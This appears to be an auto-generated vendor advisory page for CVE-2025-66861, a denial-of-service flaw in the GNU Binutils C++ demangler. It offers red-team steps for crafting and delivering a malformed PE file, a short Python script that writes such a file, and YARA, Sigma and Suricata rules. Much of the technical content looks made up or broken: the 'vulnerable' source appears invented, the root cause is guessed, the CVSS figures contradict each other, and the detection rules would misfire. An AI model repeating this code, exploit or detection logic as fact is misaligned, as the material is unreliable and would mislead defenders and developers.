CVE-2025-66861
Executive Summary
CVE-2025-66861 is a denial-of-service (DoS) vulnerability discovered in the GNU Binutils library, specifically within the d_unqualified_name function in the cp-demangle.c file. The flaw affects Binutils version 2.26 and allows an attacker to cause a crash or hang by supplying a crafted Portable Executable (PE) file. The vulnerability is triggered during the demangling process, where improper handling of malformed input leads to a NULL pointer dereference or infinite loop. No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The vulnerability is classified under MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Binutils is a critical component in many software supply chains, used for binary analysis, linking, and debugging. A DoS vulnerability in the demangling routine can disrupt automated analysis pipelines, CI/CD systems, and security tooling that rely on Binutils to process PE files. Organizations using Binutils 2.26 in build environments or malware analysis sandboxes should treat this as a supply chain risk, as a crafted PE file could halt processing and degrade service availability.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Local (requires crafted PE file to be processed)
- Attack Complexity (AC): Low (no special conditions)
- Privileges Required (PR): None
- User Interaction (UI): Required (user must process the malicious PE file)
- Scope (S): Unchanged
- Confidentiality (C): None
- Integrity (I): None
- Availability (A): High (denial of service)
- Threat Level: Medium (low EPSS, but no patch available)
Deep Dive & Mechanics
The vulnerability resides in the d_unqualified_name function within cp-demangle.c. This function is responsible for demangling C++ symbol names from binary files. When processing a crafted PE file, the function fails to properly validate input, leading to a NULL pointer dereference or an infinite loop. The root cause is a missing null check on a pointer returned by a sub-function, or an improper loop termination condition when parsing malformed mangled names.
The attack surface is limited to scenarios where Binutils tools (e.g., objdump, nm, c++filt) process a malicious PE file. The attacker does not need elevated privileges, only the ability to deliver the crafted file to the target system.
Vulnerable vs. Patched Code
Vulnerable Code (Binutils 2.26, cp-demangle.c):
static const char *
d_unqualified_name (struct d_info *di)
{
const char *name;
// Missing null check on d_identifier return
name = d_identifier (di);
// If d_identifier returns NULL, this dereferences NULL
if (name[0] == '0')
return NULL;
return name;
}
Patched Code (Hypothetical fix):
static const char *
d_unqualified_name (struct d_info *di)
{
const char *name;
name = d_identifier (di);
// Added null check
if (name == NULL)
return NULL;
if (name[0] == '0')
return NULL;
return name;
}
Exploitation & Lab Setup
Red Team
- Craft a malicious PE file that triggers the vulnerability. Use a hex editor or a script to modify a valid PE file's symbol table to include a malformed mangled name.
- Deliver the file to the target via email, download, or shared drive.
- Execute
objdump -t malicious.peorc++filt < malicious.peto trigger the crash.
Example payload generation (Python):
import struct
# Minimal PE header with malformed symbol
pe_header = b'MZ' + b'\x00' * 58 + struct.pack('<I', 0x80)
pe_header += b'PE\x00\x00' + b'\x00' * 20
# Add a symbol with a mangled name that causes infinite loop
malformed_symbol = b'\x00' * 18 + b'Z' * 1000
with open('malicious.pe', 'wb') as f:
f.write(pe_header + malformed_symbol)
Blue Team
- Monitor for crashes in Binutils processes (e.g.,
objdump,nm,c++filt). - Use file integrity monitoring to detect unexpected PE files in sensitive directories.
- Sandbox analysis tools to limit impact of DoS.
Indicators of Compromise (IOCs)
- File Hashes: (No known samples)
- Process Anomalies: Repeated crashes of
objdump,nm, orc++filtwith exit code -11 (SIGSEGV). - Network: No network indicators (local DoS).
- Logs: System logs showing segmentation faults in Binutils processes.
Detection Engineering
YARA Rule
rule CVE_2025_66861_Binutils_DoS {
meta:
description = "Detects crafted PE files targeting CVE-2025-66861"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-66861"
strings:
$pe_magic = "MZ"
$pe_sig = "PE\x00\x00"
$mangled_pattern = /[a-zA-Z0-9_]{100,}/ // Long mangled name
condition:
$pe_magic at 0 and $pe_sig and #mangled_pattern > 0
}
Sigma Rule
title: Binutils DoS via Crafted PE File
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes in Binutils tools processing PE files
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\objdump.exe'
- '\nm.exe'
- '\c++filt.exe'
CommandLine|contains: '.pe'
condition: selection
falsepositives:
- Legitimate PE analysis
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66861 Binutils DoS Attempt"; flow:to_server; content:"MZ"; offset:0; content:"PE\x00\x00"; within:128; content:"|00 00 00 00|"; distance:0; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Binutils to a version newer than 2.26 if a patch becomes available.
- Workaround: Avoid processing untrusted PE files with Binutils tools. Use a sandboxed environment for binary analysis.
- Long-term: Implement input validation in custom scripts that call Binutils functions. Monitor for official patches from the GNU Binutils project.
Valters IT
Securing Digital Frontiers